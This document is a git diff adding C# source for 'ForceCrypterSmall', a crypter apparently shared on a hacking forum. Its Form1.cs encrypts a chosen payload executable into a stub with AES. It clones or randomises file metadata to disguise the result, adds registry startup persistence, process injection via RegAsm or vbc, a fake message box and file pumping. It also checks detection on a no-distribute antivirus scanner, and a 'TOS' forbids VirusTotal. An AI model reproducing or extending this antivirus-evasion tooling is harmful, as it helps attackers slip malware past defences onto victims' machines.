this.Assembly.Controls.Add(this.txtFVersion); + this.Assembly.Controls.Add(this.txtVersion); + this.Assembly.Controls.Add(this.txtProduct); + this.Assembly.Controls.Add(this.txtCompany); + this.Assembly.Controls.Add(this.txtDescription); + this.Assembly.Controls.Add(this.txtTitle); + this.Assembly.Controls.Add(this.nsLabel10); + this.Assembly.Controls.Add(this.nsLabel9); + this.Assembly.Controls.Add(this.nsLabel8); + this.Assembly.Controls.Add(this.nsLabel7); + this.Assembly.Controls.Add(this.nsLabel6); + this.Assembly.Controls.Add(this.nsLabel5); + this.Assembly.Controls.Add(this.nsLabel4); + this.Assembly.Controls.Add(this.nsLabel3); + this.Assembly.Location = new System.Drawing.Point(119, 4); + this.Assembly.Name = "Assembly"; + this.Assembly.Padding = new System.Windows.Forms.Padding(3); + this.Assembly.Size = new System.Drawing.Size(399, 543); + this.Assembly.TabIndex = 2; + this.Assembly.Text = "Assembly"; + // + // btnClone + // + this.btnClone.Location = new System.Drawing.Point(213, 366); + this.btnClone.Name = "btnClone"; + this.btnClone.Size = new System.Drawing.Size(75, 23); + this.btnClone.TabIndex = 56; + this.btnClone.Text = "Clone"; + this.btnClone.Click += new System.EventHandler(this.btnClone_Click_1); + // + // btnRandomize + // + this.btnRandomize.Location = new System.Drawing.Point(94, 367); + this.btnRandomize.Name = "btnRandomize"; + this.btnRandomize.Size = new System.Drawing.Size(75, 23); + this.btnRandomize.TabIndex = 55; + this.btnRandomize.Text = "Randomize"; + this.btnRandomize.Click += new System.EventHandler(this.btnRandomize_Click_1); + // + // txtTrademark + // + this.txtTrademark.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtTrademark.Location = new System.Drawing.Point(109, 337); + this.txtTrademark.MaxLength = 32767; + this.txtTrademark.Multiline = false; + this.txtTrademark.Name = "txtTrademark"; + this.txtTrademark.ReadOnly = false; + this.txtTrademark.Size = new System.Drawing.Size(262, 23); + this.txtTrademark.TabIndex = 54; + this.txtTrademark.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtTrademark.UseSystemPasswordChar = false; + // + // txtCopyright + // + this.txtCopyright.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtCopyright.Location = new System.Drawing.Point(110, 289); + this.txtCopyright.MaxLength = 32767; + this.txtCopyright.Multiline = false; + this.txtCopyright.Name = "txtCopyright"; + this.txtCopyright.ReadOnly = false; + this.txtCopyright.Size = new System.Drawing.Size(261, 23); + this.txtCopyright.TabIndex = 53; + this.txtCopyright.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtCopyright.UseSystemPasswordChar = false; + // + // txtFVersion + // + this.txtFVersion.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtFVersion.Location = new System.Drawing.Point(109, 246); + this.txtFVersion.MaxLength = 32767; + this.txtFVersion.Multiline = false; + this.txtFVersion.Name = "txtFVersion"; + this.txtFVersion.ReadOnly = false; + this.txtFVersion.Size = new System.Drawing.Size(262, 23); + this.txtFVersion.TabIndex = 52; + this.txtFVersion.Text = "0.0.0.0"; + this.txtFVersion.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtFVersion.UseSystemPasswordChar = false; + // + // txtVersion + // + this.txtVersion.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtVersion.Location = new System.Drawing.Point(109, 200); + this.txtVersion.MaxLength = 32767; + this.txtVersion.Multiline = false; + this.txtVersion.Name = "txtVersion"; + this.txtVersion.ReadOnly = false; + this.txtVersion.Size = new System.Drawing.Size(262, 23); + this.txtVersion.TabIndex = 51; + this.txtVersion.Text = "0.0.0.0"; + this.txtVersion.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtVersion.UseSystemPasswordChar = false; + // + // txtProduct + // + this.txtProduct.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtProduct.Location = new System.Drawing.Point(110, 155); + this.txtProduct.MaxLength = 32767; + this.txtProduct.Multiline = false; + this.txtProduct.Name = "txtProduct"; + this.txtProduct.ReadOnly = false; + this.txtProduct.Size = new System.Drawing.Size(261, 23); + this.txtProduct.TabIndex = 50; + this.txtProduct.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtProduct.UseSystemPasswordChar = false; + // + // txtCompany + // + this.txtCompany.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtCompany.Location = new System.Drawing.Point(110, 110); + this.txtCompany.MaxLength = 32767; + this.txtCompany.Multiline = false; + this.txtCompany.Name = "txtCompany"; + this.txtCompany.ReadOnly = false; + this.txtCompany.Size = new System.Drawing.Size(261, 23); + this.txtCompany.TabIndex = 49; + this.txtCompany.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtCompany.UseSystemPasswordChar = false; + // + // txtDescription + // + this.txtDescription.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtDescription.Location = new System.Drawing.Point(110, 70); + this.txtDescription.MaxLength = 32767; + this.txtDescription.Multiline = false; + this.txtDescription.Name = "txtDescription"; + this.txtDescription.ReadOnly = false; + this.txtDescription.Size = new System.Drawing.Size(261, 23); + this.txtDescription.TabIndex = 48; + this.txtDescription.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtDescription.UseSystemPasswordChar = false; + // + // txtTitle + // + this.txtTitle.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtTitle.Location = new System.Drawing.Point(109, 24); + this.txtTitle.MaxLength = 32767; + this.txtTitle.Multiline = false; + this.txtTitle.Name = "txtTitle"; + this.txtTitle.ReadOnly = false; + this.txtTitle.Size = new System.Drawing.Size(262, 23); + this.txtTitle.TabIndex = 47; + this.txtTitle.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtTitle.UseSystemPasswordChar = false; + // + // nsLabel10 + // + this.nsLabel10.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel10.Location = new System.Drawing.Point(10, 338); + this.nsLabel10.Name = "nsLabel10"; + this.nsLabel10.Size = new System.Drawing.Size(93, 23); + this.nsLabel10.TabIndex = 46; + this.nsLabel10.Text = "nsLabel10"; + this.nsLabel10.Value1 = "Trademark"; + this.nsLabel10.Value2 = ":"; + // + // nsLabel9 + // + this.nsLabel9.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel9.Location = new System.Drawing.Point(10, 290); + this.nsLabel9.Name = "nsLabel9"; + this.nsLabel9.Size = new System.Drawing.Size(93, 23); + this.nsLabel9.TabIndex = 45; + this.nsLabel9.Text = "nsLabel9"; + this.nsLabel9.Value1 = "Copyright"; + this.nsLabel9.Value2 = ":"; + // + // nsLabel8 + // + this.nsLabel8.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel8.Location = new System.Drawing.Point(10, 247); + this.nsLabel8.Name = "nsLabel8"; + this.nsLabel8.Size = new System.Drawing.Size(75, 23); + this.nsLabel8.TabIndex = 44; + this.nsLabel8.Text = "nsLabel8"; + this.nsLabel8.Value1 = "FVersion"; + this.nsLabel8.Value2 = ":"; + // + // nsLabel7 + // + this.nsLabel7.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel7.Location = new System.Drawing.Point(10, 201); + this.nsLabel7.Name = "nsLabel7"; + this.nsLabel7.Size = new System.Drawing.Size(75, 23); + this.nsLabel7.TabIndex = 43; + this.nsLabel7.Text = "nsLabel7"; + this.nsLabel7.Value1 = "Version"; + this.nsLabel7.Value2 = ":"; + // + // nsLabel6 + // + this.nsLabel6.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel6.Location = new System.Drawing.Point(10, 156); + this.nsLabel6.Name = "nsLabel6"; + this.nsLabel6.Size = new System.Drawing.Size(75, 23); + this.nsLabel6.TabIndex = 42; + this.nsLabel6.Text = "nsLabel6"; + this.nsLabel6.Value1 = "Product"; + this.nsLabel6.Value2 = ":"; + // + // nsLabel5 + // + this.nsLabel5.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel5.Location = new System.Drawing.Point(10, 111); + this.nsLabel5.Name = "nsLabel5"; + this.nsLabel5.Size = new System.Drawing.Size(75, 23); + this.nsLabel5.TabIndex = 41; + this.nsLabel5.Text = "nsLabel5"; + this.nsLabel5.Value1 = "Company"; + this.nsLabel5.Value2 = ":"; + // + // nsLabel4 + // + this.nsLabel4.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel4.Location = new System.Drawing.Point(10, 71); + this.nsLabel4.Name = "nsLabel4"; + this.nsLabel4.Size = new System.Drawing.Size(93, 23); + this.nsLabel4.TabIndex = 40; + this.nsLabel4.Text = "nsLabel4"; + this.nsLabel4.Value1 = "Description"; + this.nsLabel4.Value2 = ":"; + // + // nsLabel3 + // + this.nsLabel3.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel3.Location = new System.Drawing.Point(10, 24); + this.nsLabel3.Name = "nsLabel3"; + this.nsLabel3.Size = new System.Drawing.Size(75, 23); + this.nsLabel3.TabIndex = 39; + this.nsLabel3.Text = "nsLabel3"; + this.nsLabel3.Value1 = "Title"; + this.nsLabel3.Value2 = ":"; + // + // Scanner + // + this.Scanner.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50))))); + this.Scanner.Controls.Add(this.btnScanFile); + this.Scanner.Controls.Add(this.listView1); + this.Scanner.Controls.Add(this.btnScan); + this.Scanner.Controls.Add(this.nsLabel16); + this.Scanner.Controls.Add(this.txtScanLink); + this.Scanner.Controls.Add(this.nsLabel15); + this.Scanner.Controls.Add(this.nsLabel14); + this.Scanner.Controls.Add(this.txtScanRate); + this.Scanner.Controls.Add(this.txtScanFile); + this.Scanner.Location = new System.Drawing.Point(119, 4); + this.Scanner.Name = "Scanner"; + this.Scanner.Size = new System.Drawing.Size(399, 543); + this.Scanner.TabIndex = 5; + this.Scanner.Text = "Scanner"; + // + // btnScanFile + // + this.btnScanFile.Location = new System.Drawing.Point(363, 12); + this.btnScanFile.Name = "btnScanFile"; + this.btnScanFile.Size = new System.Drawing.Size(33, 23); + this.btnScanFile.TabIndex = 14; + this.btnScanFile.Text = "..."; + this.btnScanFile.Click += new System.EventHandler(this.btnScanFile_Click); + // + // listView1 + // + this.listView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.columnHeader1, + this.columnHeader2}); + this.listView1.Location = new System.Drawing.Point(14, 92); + this.listView1.Name = "listView1"; + this.listView1.Size = new System.Drawing.Size(367, 278); + this.listView1.TabIndex = 13; + this.listView1.UseCompatibleStateImageBehavior = false; + this.listView1.View = System.Windows.Forms.View.Details; + // + // columnHeader1 + // + this.columnHeader1.Text = "AV"; + this.columnHeader1.Width = 157; + // + // columnHeader2 + // + this.columnHeader2.Text = "Result"; + this.columnHeader2.Width = 215; + // + // btnScan + // + this.btnScan.Location = new System.Drawing.Point(95, 405); + this.btnScan.Name = "btnScan"; + this.btnScan.Size = new System.Drawing.Size(156, 25); + this.btnScan.TabIndex = 12; + this.btnScan.Text = "Scan!"; + this.btnScan.Click += new System.EventHandler(this.btnScan_Click); + // + // nsLabel16 + // + this.nsLabel16.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel16.Location = new System.Drawing.Point(14, 376); + this.nsLabel16.Name = "nsLabel16"; + this.nsLabel16.Size = new System.Drawing.Size(46, 23); + this.nsLabel16.TabIndex = 7; + this.nsLabel16.Text = "nsLabel16"; + this.nsLabel16.Value1 = "Link"; + this.nsLabel16.Value2 = ":"; + // + // txtScanLink + // + this.txtScanLink.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtScanLink.Location = new System.Drawing.Point(95, 376); + this.txtScanLink.MaxLength = 32767; + this.txtScanLink.Multiline = false; + this.txtScanLink.Name = "txtScanLink"; + this.txtScanLink.ReadOnly = false; + this.txtScanLink.Size = new System.Drawing.Size(262, 23); + this.txtScanLink.TabIndex = 6; + this.txtScanLink.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtScanLink.UseSystemPasswordChar = false; + // + // nsLabel15 + // + this.nsLabel15.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel15.Location = new System.Drawing.Point(14, 72); + this.nsLabel15.Name = "nsLabel15"; + this.nsLabel15.Size = new System.Drawing.Size(75, 23); + this.nsLabel15.TabIndex = 4; + this.nsLabel15.Text = "nsLabel15"; + this.nsLabel15.Value1 = "Detailes"; + this.nsLabel15.Value2 = ":"; + // + // nsLabel14 + // + this.nsLabel14.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Bold); + this.nsLabel14.Location = new System.Drawing.Point(14, 42); + this.nsLabel14.Name = "nsLabel14"; + this.nsLabel14.Size = new System.Drawing.Size(46, 24); + this.nsLabel14.TabIndex = 3; + this.nsLabel14.Text = "nsLabel14"; + this.nsLabel14.Value1 = "Rate"; + this.nsLabel14.Value2 = ":"; + // + // txtScanRate + // + this.txtScanRate.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtScanRate.Location = new System.Drawing.Point(66, 42); + this.txtScanRate.MaxLength = 32767; + this.txtScanRate.Multiline = false; + this.txtScanRate.Name = "txtScanRate"; + this.txtScanRate.ReadOnly = false; + this.txtScanRate.Size = new System.Drawing.Size(57, 24); + this.txtScanRate.TabIndex = 2; + this.txtScanRate.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtScanRate.UseSystemPasswordChar = false; + // + // txtScanFile + // + this.txtScanFile.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtScanFile.Location = new System.Drawing.Point(14, 13); + this.txtScanFile.MaxLength = 32767; + this.txtScanFile.Multiline = false; + this.txtScanFile.Name = "txtScanFile"; + this.txtScanFile.ReadOnly = false; + this.txtScanFile.Size = new System.Drawing.Size(343, 23); + this.txtScanFile.TabIndex = 0; + this.txtScanFile.Text = "File To Scan"; + this.txtScanFile.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtScanFile.UseSystemPasswordChar = false; + // + // CryptTab + // + this.CryptTab.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50))))); + this.CryptTab.Controls.Add(this.btnCrypt); + this.CryptTab.Controls.Add(this.richTextBox2); + this.CryptTab.Location = new System.Drawing.Point(119, 4); + this.CryptTab.Name = "CryptTab"; + this.CryptTab.Padding = new System.Windows.Forms.Padding(3); + this.CryptTab.Size = new System.Drawing.Size(399, 543); + this.CryptTab.TabIndex = 3; + this.CryptTab.Text = "Crypt"; + // + // btnCrypt + // + this.btnCrypt.Location = new System.Drawing.Point(100, 172); + this.btnCrypt.Name = "btnCrypt"; + this.btnCrypt.Size = new System.Drawing.Size(167, 54); + this.btnCrypt.TabIndex = 7; + this.btnCrypt.Text = "Force!"; + this.btnCrypt.Click += new System.EventHandler(this.btnCrypt_Click_1); + // + // richTextBox2 + // + this.richTextBox2.Location = new System.Drawing.Point(3, 20); + this.richTextBox2.Name = "richTextBox2"; + this.richTextBox2.Size = new System.Drawing.Size(387, 134); + this.richTextBox2.TabIndex = 6; + this.richTextBox2.Text = resources.GetString("richTextBox2.Text"); + // + // Form1 + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(522, 587); + this.Controls.Add(this.nsTheme1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.Name = "Form1"; + this.Text = "ForceCrypterSmall"; + this.nsTheme1.ResumeLayout(false); + this.AssemblyTab.ResumeLayout(false); + this.MainTab.ResumeLayout(false); + this.nsGroupBox7.ResumeLayout(false); + this.nsGroupBox1.ResumeLayout(false); + this.OptionsTab.ResumeLayout(false); + this.nsGroupBox6.ResumeLayout(false); + this.nsGroupBox5.ResumeLayout(false); + this.nsGroupBox3.ResumeLayout(false); + this.nsGroupBox4.ResumeLayout(false); + this.Assembly.ResumeLayout(false); + this.Scanner.ResumeLayout(false); + this.CryptTab.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private NSTheme nsTheme1; + private NSTabControl AssemblyTab; + private System.Windows.Forms.TabPage MainTab; + private NSGroupBox nsGroupBox1; + private System.Windows.Forms.TabPage Assembly; + private System.Windows.Forms.TabPage CryptTab; + private System.Windows.Forms.RichTextBox richTextBox2; + private NSButton btnIcon; + private NSButton btnPayload; + private NSTextBox txtIcon; + private NSTextBox txtPayload; + private System.Windows.Forms.TabPage OptionsTab; + private NSGroupBox nsGroupBox4; + private NSLabel nsLabel2; + private NSTextBox txtTitle; + private NSLabel nsLabel10; + private NSLabel nsLabel9; + private NSLabel nsLabel8; + private NSLabel nsLabel7; + private NSLabel nsLabel6; + private NSLabel nsLabel5; + private NSLabel nsLabel4; + private NSLabel nsLabel3; + private NSGroupBox nsGroupBox3; + private NSLabel nsLabel1; + private NSTextBox txtPump; + private NSTextBox txtStartup; + private NSButton btnClone; + private NSButton btnRandomize; + private NSTextBox txtTrademark; + private NSTextBox txtCopyright; + private NSTextBox txtFVersion; + private NSTextBox txtVersion; + private NSTextBox txtProduct; + private NSTextBox txtCompany; + private NSTextBox txtDescription; + private NSButton btnCrypt; + private NSGroupBox nsGroupBox5; + private NSLabel nsLabel11; + private NSTextBox txtDelay; + private NSOnOffBox cbPump; + private NSOnOffBox cbStartup; + private NSControlButton nsControlButton1; + private NSGroupBox nsGroupBox7; + private NSRadioButton rbRegAsm; + private NSRadioButton rbItself; + private NSRadioButton rbVbc; + private NSTextBox txtRegKey; + private NSLabel nsLabel12; + private NSLabel nsLabel13; + private NSTextBox txtFName; + private NSControlButton nsControlButton2; + private System.Windows.Forms.TabPage Scanner; + private NSButton btnFScan; + private NSTextBox txtScanFile; + private NSLabel nsLabel16; + private NSTextBox txtScanLink; + private NSLabel nsLabel15; + private NSLabel nsLabel14; + private NSTextBox txtScanRate; + private NSButton btnScan; + private NSGroupBox nsGroupBox6; + private NSTextBox txtMsg; + private NSTextBox txtMsgTitle; + private NSLabel nsLabel19; + private NSLabel nsLabel18; + private NSOnOffBox cbMsgBox; + private NSCheckBox rbRandomBytes; + private NSLabel nsLabel20; + private System.Windows.Forms.ListView listView1; + private System.Windows.Forms.ColumnHeader columnHeader1; + private System.Windows.Forms.ColumnHeader columnHeader2; + private NSButton btnScanFile; + } +} + diff --git a/C# (ForceCrypter/ForceCrypterSmall/Form1.cs b/C# (ForceCrypter/ForceCrypterSmall/Form1.cs new file mode 100644 index 0000000..af12053 --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/Form1.cs @@ -0,0 +1,347 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Configuration; +using System.Data; +using System.Diagnostics; +using System.Drawing; +using System.Text; +using System.Threading; +using System.Windows.Forms; +using System.IO; +using System.Resources; +using Microsoft.Win32; +using ForceCrypterSmall.Resources; +using System.Globalization; +using System.Security.Cryptography; +using System.Net; + +//Copyright 2016 +//Made by mrmutt for hackforums uid=3005497 +//Please leave this note here +namespace ForceCrypterSmall +{ + public partial class Form1 : Form + { + public Form1() + { + + InitializeComponent(); + Size T = Screen.PrimaryScreen.WorkingArea.Size; + Location = new Point(T.Width / 2 - Width / 2, T.Height / 2 - Height / 2); + } + + private string RandomString(int length) + { + //Making a random string from the pool + string pool = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWKYZ1234567890"; + pool += pool.ToUpper(); + string tmp = ""; + Random R = new Random(); + for (int x = 0; x < length; x++) + { + tmp += pool[R.Next(0, pool.Length)].ToString(); + } + return tmp; + } + + private string RandomNumber(int _length) + { + //Making a random number for the random assemblys version + string pool = "0123456789"; + pool += pool.ToUpper(); + string tmp = ""; + Random R = new Random(); + for (int x = 0; x < _length; x++) + { + tmp += pool[R.Next(0, pool.Length)].ToString(); + } + return tmp; + } + + public void Pump(string file, int amount, bool random) + { + //Pumping function + FileStream fs = new FileStream(file, FileMode.Append, FileAccess.Write); + byte[] bytes = new byte[amount]; + if (random) + { + Random rand = new Random(); + rand.NextBytes(bytes); + } + fs.Write(bytes, 0, amount); + fs.Close(); + } + + private void btnPayload_Click(object sender, EventArgs e) + { + //Open file dialog to let the user select a payload + using (OpenFileDialog ofd = new OpenFileDialog()) + { + if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK) + { + ofd.Filter = "Payload|*.exe"; + txtPayload.Text = ofd.FileName; + } + + } + } + + private void btnIcon_Click_1(object sender, EventArgs e) + { + //Open file dialog that lets the user to pick a icon + using (OpenFileDialog ofd = new OpenFileDialog()) + { + ofd.Filter = "Icon|*.ico"; + if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK) + { + txtIcon.Text = ofd.FileName; + } + } + } + + + + + + private void btnRandomize_Click_1(object sender, EventArgs e) + { + //Giving the assembly information text boxes random strings and numbers. + txtVersion.Text = RandomString(9); + txtCompany.Text = RandomString(16); + txtProduct.Text = RandomString(19); + txtCopyright.Text = RandomString(21); + txtTrademark.Text = RandomString(18); + txtVersion.Text = (RandomNumber(1) + "." + RandomNumber(2) + "." + RandomNumber(1) + "." + RandomNumber(1)); + txtFVersion.Text = (RandomNumber(1) + "." + RandomNumber(1) + "." + RandomNumber(2) + "." + RandomNumber(2)); + txtDescription.Text = RandomString(17); + txtTitle.Text = RandomString(15); + } + + private void btnClone_Click_1(object sender, EventArgs e) + { + // Selecting a file to clone + using (OpenFileDialog ofd = new OpenFileDialog()) + { + ofd.Filter = "Excutables|*.exe"; + if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK) + { + //File version info is all the assembly information about the file we picked with the open file dialog + + FileVersionInfo myFileVersionInfo = + FileVersionInfo.GetVersionInfo(ofd.FileName); + //Changing the text boxes test to be the assembly information of the file we selected + txtFVersion.Text = myFileVersionInfo.FileVersion; + txtVersion.Text = myFileVersionInfo.ProductVersion; + txtProduct.Text = myFileVersionInfo.CompanyName; + txtDescription.Text = myFileVersionInfo.FileDescription; + txtCopyright.Text = myFileVersionInfo.LegalCopyright; + txtTrademark.Text = myFileVersionInfo.LegalTrademarks; + txtProduct.Text = myFileVersionInfo.ProductName; + txtTitle.Text = myFileVersionInfo.InternalName; + txtCompany.Text = myFileVersionInfo.CompanyName; + + } + } + } + + private void btnCrypt_Click_1(object sender, EventArgs e) + { + //Letting the user choose where to save the crypted file + SaveFileDialog FSave = new SaveFileDialog() + { + Filter = "Executable Files|*.exe", + InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + }; + + + //If he choose and everything is good + if (FSave.ShowDialog() == DialogResult.OK) + { + + //Refrencing our stub + string boop = Properties.Resources.boop; + //Assembly information + boop = boop.Replace("[title-replace]", txtTitle.Text); + boop = boop.Replace("[company-replace]", txtCompany.Text); + boop = boop.Replace("[product-replace]", txtProduct.Text); + boop = boop.Replace("[copyright-replace]", txtCopyright.Text); + boop = boop.Replace("[trademark-replace]", txtTrademark.Text); + boop = boop.Replace("[desc-replace]", txtDescription.Text); + boop = boop.Replace("[version-replace]", txtVersion.Text); + boop = boop.Replace("[fversion-replace]", txtFVersion.Text); + //Checking if the user checked startup and if he did replace the bool in stub. + boop = boop.Replace("[startup-replace]", cbStartup.Checked ? "true" : "false"); + //Another startup check + if (cbStartup.Checked) + { + //RegisteryKey + boop = boop.Replace("[regfname-replace]", txtFName.Text); + boop = boop.Replace("[regfiname-replace]", txtStartup.Text); + boop = boop.Replace("[regkey-replace]", txtRegKey.Text); + //FolderName + boop = boop.Replace("[fname-replace]", txtFName.Text); + //FileName + boop = boop.Replace("[finame-replace]", txtStartup.Text); + } + + + if (cbMsgBox.Checked) + { + boop = boop.Replace("[fakemessage-replace]", "true"); + boop = boop.Replace("[messagetitle-replace]", txtMsgTitle.Text); + boop = boop.Replace("[messagetext-replace]", txtMsg.Text); + } + else + { + boop = boop.Replace("[fakemessage-replace]", "false"); + } + string encryptionkey = RandomString(300); + //Replacing the key in the stub with our encryption key + boop = boop.Replace("[key-replace]", encryptionkey); + //Reading the bytes from our payload + byte[] fBytes = File.ReadAllBytes(txtPayload.Text); + //Crypting process + string fCrypted = Convert.ToBase64String(fBytes); + //Crypting process + byte[] first = Encoding.UTF8.GetBytes(fCrypted); + //Getting the bytes from the encryption key + byte[] enckey = Encoding.UTF8.GetBytes(encryptionkey); + //Making a hash for the key + enckey = SHA256.Create().ComputeHash(enckey); + //Encrypting the bytes of the payload + byte[] encBytes = Encboop.AESEncrypt(first, enckey); + //Injection methods + if (rbItself.Checked) + + boop = boop.Replace("[inject-replace]", "[itself]"); + if(rbRegAsm.Checked) + boop = boop.Replace("[inject-replace]", "[regasm]"); + if(rbVbc.Checked) + boop = boop.Replace("[inject-replace]", "[vbc]"); + //Checking if user wanted delay + if(txtDelay.Text!=null) + boop = boop.Replace("[delay-replace]", txtDelay.Text); + if(txtDelay.Text == ""| txtDelay.Text == null) + boop = boop.Replace("[delay-replace]", "0"); + + + + + bool worked; + //Our resource file + string ResF = Path.Combine(Application.StartupPath, "Encrypted.resources"); + //Using a resourcewriter on our resource file + using (var Writer = new ResourceWriter(ResF)) + { + //Adding the encrypted bytes to the resource file + Writer.AddResource("encfile", encBytes); + + //Generating + Writer.Generate(); + } + //If there is a icon compile with icon + if (File.Exists(txtIcon.Text)) + worked = Compiler.CompileFromSource(boop, FSave.FileName, txtIcon.Text, new string[] {ResF}); + //If not compile without + else + worked = Compiler.CompileFromSource(boop, FSave.FileName, null, new string[] {ResF}); + + //If worked show a messagebox + if (worked) + MessageBox.Show("Forced!", "Succsess!", MessageBoxButtons.OK, MessageBoxIcon.Information); + //If user chose to pump we pump the output file + if (cbPump.Checked) + { + if (rbRandomBytes.Checked) + { + Pump(FSave.FileName, int.Parse(txtPump.Text)*8*124, true); + + } + else + { + Pump(FSave.FileName, int.Parse(txtPump.Text)*8*124, false); + } + } + } + } + public void Scan(string Filename) //File Scan + { + try + { + WebClient WBC = new WebClient(); //New WebClient + WBC.UploadFileCompleted += new UploadFileCompletedEventHandler(GetResults); //Adding Handler For Completion of WebClient Upload + WBC.UploadFileAsync(new Uri("https://www.pscan.xyz/api.php"), "POST", Filename); //Upload File for scan + while (WBC.IsBusy) { Application.DoEvents(); } // While Webclient is busy Do other Events + } + catch (Exception ex) + + { + this.btnScan.Enabled = true; + MessageBox.Show(ex.Message); //Show Messagebox On Error + } + } + private void GetResults(object sender, System.Net.UploadFileCompletedEventArgs e) //Get Response from Server + { + try + { + string Results = System.Text.Encoding.UTF8.GetString(e.Result); //Get Response + AddtoLV(Results); //Add Response to Listivew + this.btnScan.Enabled = true; + } + catch (Exception ex) + { + this.btnScan.Enabled = true; + MessageBox.Show(ex.Message); //Show Messagebox On Error + } + } + private void AddtoLV(string response) //Add Response to Listview + { + listView1.Items.Clear(); //Remove scanned file trace + try + { + string[] AVDelimiter = new string[] { "[NextAV]" }; //AVs Delimiter + string[] AV = response.Split(AVDelimiter, StringSplitOptions.RemoveEmptyEntries); // AVs Splitter + string[] Delimiter1 = new string[] { "[ResultDetails]" }; //Result Details Delimiter + string[] ScanDetails = response.Split(Delimiter1, StringSplitOptions.RemoveEmptyEntries); //Split Results from Details + string[] Links = new string[] { "[Details]" }; //Details Delimiter + string[] ii = ScanDetails[1].Split(Links, StringSplitOptions.RemoveEmptyEntries); //Split Scan Details + txtScanRate.Text = ii[4]; //Detection Rate + txtScanLink.Text = ii[5]; //Scan Results Link + int processed = 0; //AV Counter + foreach (var i in AV) //Split Each AV + { + if (++processed == 36) break; //Stop Adding when Added all 35 AVs + string[] fa = new string[] { "[]Result[]" }; //Delimiter + string[] fr = i.Split(fa, StringSplitOptions.RemoveEmptyEntries); //Split AV From Result + ListViewItem x = new ListViewItem(fr[0]); //Add item AV + x.SubItems.Add(fr[1]); //Add AV result to Item + if (fr[1] == "OK") + { + x.ForeColor = Color.ForestGreen; //Lime Color For Clean Result + } + else + { + x.ForeColor = Color.Red; //Red Color for Infected Result + } + listView1.Items.Add(x); //Add AV and its Result to Listivew + } + } + catch (Exception ex) { MessageBox.Show(ex.Message); } //Message Anny error Occured + } + + private void btnScanFile_Click(object sender, EventArgs e) + { + OpenFileDialog OFD = new OpenFileDialog(); //New OpenFileDialog + DialogResult result = OFD.ShowDialog(); // Show OpenFileDialog + if (result == DialogResult.OK) // Test result. + { txtScanFile.Text = OFD.FileName; } + } + + private void btnScan_Click(object sender, EventArgs e) + { + this.btnScan.Enabled = false; + Scan(txtScanFile.Text); + } + } +} diff --git a/C# (ForceCrypter/ForceCrypterSmall/Form1.resx b/C# (ForceCrypter/ForceCrypterSmall/Form1.resx new file mode 100644 index 0000000..ab0f5a8 --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/Form1.resx @@ -0,0 +1,129 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + TOS: +This program was not meant to be used for malicious use. +This program was built for legit use such as protecting code from RE. +The author MrMutt(mrmutt) Is not responsible in any way for any malicous and illegal use of this program. +No scanning on virustotal.com or any other sites that disturbite. +ONLY USE www.pscan.xyz, https://scan.majyx.net/ + + 